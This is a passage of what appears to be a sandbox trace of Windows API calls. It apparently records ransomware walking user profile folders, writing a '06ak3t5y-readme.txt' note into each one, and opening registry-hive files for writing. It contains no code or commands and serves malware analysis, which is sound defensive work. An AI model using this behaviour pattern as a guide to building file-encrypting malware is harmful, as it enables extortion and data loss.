cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0110.432] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x791634f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xf29f86d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf29f86d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="kEecfMwgj", cAlternateFileName="KEECFM~1")) returned 1 [0110.432] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040300 [0110.432] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x30) returned 0x209bbc8 [0110.432] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x56) returned 0x2069840 [0110.432] CreateFileW (lpFileName="\\\\?\\C:\\Users\\kEecfMwgj\\06ak3t5y-readme.txt" (normalized: "c:\\users\\keecfmwgj\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0110.433] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2069840) returned 1 [0110.433] WriteFile (in: hFile=0x238, lpBuffer=0x2041258*, nNumberOfBytesToWrite=0xe68, lpNumberOfBytesWritten=0x18fbd4, lpOverlapped=0x0 | out: lpBuffer=0x2041258*, lpNumberOfBytesWritten=0x18fbd4*=0xe68, lpOverlapped=0x0) returned 1 [0110.434] CloseHandle (hObject=0x238) returned 1 [0110.436] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Public", cAlternateFileName="")) returned 1 [0110.436] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040180 [0110.436] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x2a) returned 0x209bc00 [0110.436] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x50) returned 0x208ea20 [0110.436] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\06ak3t5y-readme.txt" (normalized: "c:\\users\\public\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0110.437] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x208ea20) returned 1 [0110.437] WriteFile (in: hFile=0x238, lpBuffer=0x2041258*, nNumberOfBytesToWrite=0xe68, lpNumberOfBytesWritten=0x18fbd4, lpOverlapped=0x0 | out: lpBuffer=0x2041258*, lpNumberOfBytesWritten=0x18fbd4*=0xe68, lpOverlapped=0x0) returned 1 [0110.438] CloseHandle (hObject=0x238) returned 1 [0110.438] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="public", cAlternateFileName="")) returned 0 [0110.439] FindClose (in: hFindFile=0x72d330 | out: hFindFile=0x72d330) returned 1 [0110.439] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x209bb90) returned 1 [0110.439] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040170) returned 1 [0110.439] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\*", lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x629b4b20, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x629b4b20, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName=".", cAlternateFileName="")) returned 0x72d330 [0110.439] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x629b4b20, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x629b4b20, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="..", cAlternateFileName="")) returned 1 [0110.439] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="AppData", cAlternateFileName="")) returned 1 [0110.439] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306dce32, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306dce32, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306dce32, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0110.439] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x629b4b20, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Contacts", cAlternateFileName="")) returned 1 [0110.439] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040170 [0110.439] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x3e) returned 0x3686f80 [0110.439] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x64) returned 0x2068040 [0110.439] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Contacts\\06ak3t5y-readme.txt" (normalized: "c:\\users\\default\\contacts\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0110.440] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2068040) returned 1 [0110.440] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306dce32, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306dce32, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306dce32, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Cookies", cAlternateFileName="")) returned 1 [0110.440] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Desktop", cAlternateFileName="")) returned 1 [0110.440] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040190 [0110.440] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x3c) returned 0x3686fc8 [0110.440] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x62) returned 0x2068040 [0110.440] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Desktop\\06ak3t5y-readme.txt" (normalized: "c:\\users\\default\\desktop\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0110.440] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2068040) returned 1 [0110.440] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd890148c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0110.440] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x20401a0 [0110.440] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x40) returned 0x3687010 [0110.440] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x66) returned 0x2068040 [0110.440] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Documents\\06ak3t5y-readme.txt" (normalized: "c:\\users\\default\\documents\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0110.446] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2068040) returned 1 [0110.446] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0110.446] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040250 [0110.446] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x40) returned 0x3687058 [0110.446] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x66) returned 0x2068040 [0110.446] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Downloads\\06ak3t5y-readme.txt" (normalized: "c:\\users\\default\\downloads\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0110.446] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2068040) returned 1 [0110.446] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0110.446] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040100 [0110.446] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x40) returned 0x36870a0 [0110.446] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x66) returned 0x2068040 [0110.447] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\06ak3t5y-readme.txt" (normalized: "c:\\users\\default\\favorites\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0110.447] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2068040) returned 1 [0110.447] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf3011f30, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf3011f30, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Links", cAlternateFileName="")) returned 1 [0110.447] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x20400d0 [0110.447] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x38) returned 0x2084fc0 [0110.448] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x5e) returned 0x2085fc0 [0110.448] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Links\\06ak3t5y-readme.txt" (normalized: "c:\\users\\default\\links\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0110.453] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2085fc0) returned 1 [0110.453] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0110.453] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Music", cAlternateFileName="")) returned 1 [0110.453] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040340 [0110.453] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x38) returned 0x2085000 [0110.453] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x5e) returned 0x2085fc0 [0110.453] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Music\\06ak3t5y-readme.txt" (normalized: "c:\\users\\default\\music\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0110.454] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2085fc0) returned 1 [0110.454] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0110.454] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306dce32, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306dce32, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306dce32, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="NetHood", cAlternateFileName="")) returned 1 [0110.454] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x9012aa61, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x62d46c20, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x62d46c20, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0xc0000, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0110.454] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xc103692e, ftCreationTime.dwHighDateTime=0x1ca0451, ftLastAccessTime.dwLowDateTime=0x1dd1880d, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x1dd1880d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x400, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="NTUSER.DAT.LOG", cAlternateFileName="NTUSER~3.LOG")) returned 1 [0110.454] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x9012aa61, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x9012aa61, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x62d46c20, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x2e400, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="NTUSER.DAT.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1 [0110.454] PathFindExtensionW (pszPath="ntuser.dat.log1") returned=".log1" [0110.454] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x2e550) returned 0x3880590 [0110.458] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\NTUSER.DAT.LOG1" (normalized: "c:\\users\\default\\ntuser.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0xffffffff [0110.458] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x3880590) returned 1 [0110.458] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x9012aa61, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x9012aa61, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x9012aa61, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="NTUSER.DAT.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1 [0110.458] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf8d30919, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf8d30919, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf8ead6dc, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1 [0110.458] PathFindExtensionW (pszPath="ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tm.blf") returned=".blf" [0110.458] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x10150) returned 0x3880590 [0110.458] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf" (normalized: "c:\\users\\default\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tm.blf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0xffffffff [0110.458] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x3880590) returned 1 [0110.459] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf8da2d3a, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf8da2d3a, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf8e8757c, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1 [0110.459] PathFindExtensionW (pszPath="ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tmcontainer00000000000000000001.regtrans-ms") returned=".regtrans-ms" [0110.459] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x80150) returned 0x44a0020 [0110.459] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms" (normalized: "c:\\users\\default\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tmcontainer00000000000000000001.regtrans-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0xffffffff [0110.460] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x44a0020) returned 1 [0110.460] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf8deeffb, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf8deeffb, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf8ead6dc, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1 [0110.460] PathFindExtensionW (pszPath="ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tmcontainer00000000000000000002.regtrans-ms") returned=".regtrans-ms" [0110.460] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x80150) returned 0x44a0020 [0110.461] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms" (normalized: "c:\\users\\default\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tmcontainer00000000000000000002.regtrans-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0xffffffff [0110.461] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x44a0020) returned 1 [0110.461] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x629b4b20, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629b4b20, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="ntuser.ini", cAlternateFileName="")) returned 1 [0110.461] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Pictures", cAlternateFileName="")) returned 1 [0110.461] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040140 [0110.461] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x3e) returned 0x36870e8 [0110.461] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x64) returned 0x2068040 [0110.462] CreateFileW 